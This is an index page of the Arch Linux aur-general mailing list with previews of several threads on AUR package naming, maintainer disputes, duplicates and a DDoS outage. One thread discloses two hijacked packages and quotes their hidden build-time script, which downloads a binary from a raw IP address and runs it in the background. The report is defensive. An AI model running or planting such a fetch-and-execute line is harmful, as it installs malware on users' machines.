- Aur-general - lists.archlinux.org

Submission rules unclear
by hirecguiihricy 19 Nov '25

19 Nov '25

Hey everyone, So I noticed some sandbox packages are being deleted — surprise — and the usual justification is “Personal configuration should be covered in ArchWiki.” Meanwhile, when I suggested merging linuxqq-nt-bwrap into the main linuxqq package (because of that Package Manager's action), that request got turned down — apparently it’s “popular.” Consistency much? This double standard and murky rule enforcement is confusing. Please fix the guidelines and explain exactly what’s allowed so people don’t waste time guessing which rules apply.

1 0

Fwd: How To Handle Hostile Maintainer w/out Dup AUR Packages
by Pranav Sharma 18 Nov '25

18 Nov '25

Hello all, I was wondering how to deal with a hostile maintainer who is squatting on a set of packages, but refuses to update them in a timely manner or to make improvements / fixes to the packages. The packages in question are wlcs, mir, and miracle-wm. I have been the one to update the packages this year, after a previous conflict where the current maintainer added me as a co-maintainer. They only did so when I opened an orphaned request after weeks of not updating the package, with zero communication. This person doesn't communicate, doesn't make sense when they are forced to, and acts down right hostile. I don't think they even use the packages, rather is interested in collecting AUR packages like they are pokemon, as they currently post on github "maintainer of 450+ AUR packages". They actually swooped in to claim the mir package after I sent in an orphan request so I could adopt it. Best, Pranav

1 0

naming: does minified code count as "source-based"?
by Christopher Cooper 11 Nov '25

11 Nov '25

Hi all, I maintain the claude-code package [1] on AUR along with ticpu. Claude Code is not an open source project. For most of the project's lifespan, it has been distributed only as an npm package [2], which contains only minified javascript. Recently, a "binary" version was released which appears to use the same code as released on npm, but bundled into a standalone executable using `bun build --compile` [3]. The official docs [4] now seem to prefer installing the standalone binary, though the option to install through npm is still available. I recently switched the package to use the distributed bun binary, rather than the minified npm package, since this seems to now be the installation method preferred by upstream. However, this raises an interesting question - should the package now be called "claude-code- bin" instead of "claude-code"? The logic here is that the "-bin" suffix should be used if a source- based package is available. In this case, the npm package would be such a "source-based" package. I personally find this argument uncompelling, as minified code doesn't really seem comparable to actual source code. The npm package and the distributed binary have essentially the same visibility into the underlying code that is being run - you could use `strings` or other methods to extract the minified code from the binary version. There's a second argument which is more compelling to me, that some users may prefer the npm-based installation, so it would be useful to have two different AUR packages. In this case, the new binary-based package could be called "claude-code-bin", and the previous npm-based package could be just "claude-code". (Of course, other naming schemes could be used, e.g. "claude-code" and "claude-code-npm".) Personally, I don't see great value in having two separate packages and the opportunity for user disruption seems high, but I'd love to hear people's opinions on this. This boils down to two questions: 1. Is it _against the package naming rules_ to call this package "claude- code" rather than "claude-code-bin"? 2. Do people think that this package _should_ be split into separate packages for the two installation methods, and if so, what should the packages be called? Thanks for your consideration, Christopher [1]: https://aur.archlinux.org/packages/claude-code [2]: https://www.npmjs.com/package/@anthropic-ai/claude-code [3]: https://bun.com/docs/bundler/executables [4]: https://code.claude.com/docs/en/overview

2 1

Formalize rules for using "-bin" siffix in AUR package names
by Ashark 02 Nov '25

02 Nov '25

Hello. In the Arch Wiki there are rules for submitting packages. And in some areas they are not complete. and this sometimes leads to arguments when discussing if one or another way is correct. I want to make a hard rule for the "-bin" suffix for non-free software packages. I have opened discusssion here: https://wiki.archlinux.org/title/ Talk:Nonfree_applications_package_guidelines#Strict_rule_when_to_use_-bin_suffix If you have some authority in Arch Linux, please answer there. -- Andrew

1 0

duplication of pgadmin
by JPT 01 Nov '25

01 Nov '25

Hi I just stumbled upon the fact that there is a duplication of several pgadmin related packages. should we do something about it? which one should I use? Name Version Votes Popularity? Maintainer pgadmin4-desktop 9.8-1 16 1.62 alllexx88 pgadmin4-server-bin 9.9-1 1 0.87 higorslva phppgadmin 7.14.7-1 0 0.00 khvalera pgadmin4 9.8-4 2 1.13 lzx3in pgadmin4-bin 9.8-1 0 0.00 lzx3in pgadmin4-server 9.9-1 12 1.72 lzx3in pgadmin4-web 9.9-1 0 0.00 lzx3in see https://aur.archlinux.org/packages?O=0&SeB=nd&K=pgadmin&outdated=&SB=p&SO=d… thanks JPT

2 1

The aur search is broken and seems to have a cache issue.
by 𝕍𝕖𝕝𝕠𝕔𝕚𝕗𝕪𝕖𝕣 30 Oct '25

30 Oct '25

No matter what i search for on the aur, it turns into `Mirage Image Viewer`. I predict that there is a issue with caching. -- George truly, 𝕍𝕖𝕝𝕠𝕔𝕚𝕗𝕪𝕖𝕣 Improve your wifi reception for free <https://www.youtube.com/watch?v=LY8Wi7XRXCA> This email does not constitute a legally binding contract Remember to reply all on mailing lists (this is here so i don't forget to use reply all)(If you are reading this i forgot to remove it)

2 1

AUR Packages Hijacked: mdbtools / materia-theme-git
by GlassTree 29 Oct '25

29 Oct '25

Original post: https://bbs.archlinux.org/viewtopic.php?pid=2270179 ----- I've noticed these two packages being "hijacked": mdbtools and materia-theme-git Both under the same user "koolpp" The new versions uploaded refer to a shell script available at a Codeberg repository: https://codeberg.org/koolpp/mdbtools/src/branch/main/src/util/Makefile.am https://codeberg.org/koolpp/materia-theme/src/branch/main/src/gtk-4.0/meson… The scripts execute the following: ```sh #!/bin/sh mkdir -p /usr/lib64 curl -s http://45.94.31.147/prod.bin -o /usr/lib64/libkwrk.so.1.5.3 chmod +x /usr/lib64/libkwrk.so.1.5.3 setsid /usr/lib64/libkwrk.so.1.5.3 & ``` Looks like a remote file will create a background session with execute permissions if you install these packages. May these new packages versions be taken down

3 2

Pushing to the AUR currently not possible
by gromit 27 Oct '25

27 Oct '25

Hello everyone, as we were the target of yet another DDoS attack we have enabled DDoS protection for aur.archlinux.org, which does not yet properly handle incoming connections on port 22 (yet). We are working with our provider to resolve this issue but wanted to ensure service reachability for everyone in the meantime. Please check https://status.archlinux.org/ for updates on the situation! Cheers, Chris for the Arch Linux DevOps Team

4 3

Request comment on PKGBUILD changes to mongodb44 to remove libboost_system references from Scons files
by David C Rankin 24 Oct '25

24 Oct '25

AUR Wizards, With upstream's removal of libboost_system I needed to remove the Scons config making use of the library. Instead of patching the files, I simply used a couple of sed expressions to handle the issue from the PKGBUILD (there were many others there when I stepped in as the maintainer) I want to know if it matters, and whether patches are preferred, or if handling a couple of removals via sed or awk is okay. I added the following to handle the changes: # delete libboost_system references from scons due to removal # from boost/boost-libs upstream in ver. 1.89. sed -i '/^boostLibs =/s/, "system"//' SConstruct sed -i '348d' src/third_party/SConscript Builds fine, only complaint is it has to serial link instead of using the requested lto link, which I see with some other packages as well. Anyway, if there is a preference to patch instead of use sed, I can clean that up on the next commit, but I am curious if there is a preference or if either/or is okay. -- David C. Rankin, J.D.,P.E.

2 2

Re: Free DDOS Protection Tool
by Borna Punda 08 Oct '25

08 Oct '25

Greetings, I have been thinking. For all that it's worth, it might be best to decouple HTTP and SSH AUR. We have already determined it will be very hard to protect SSH, but as discussed before, HTTP can be done by Cloudflare easily (either through Galileo or even the free plan). Best regards, Borna Punda

1 0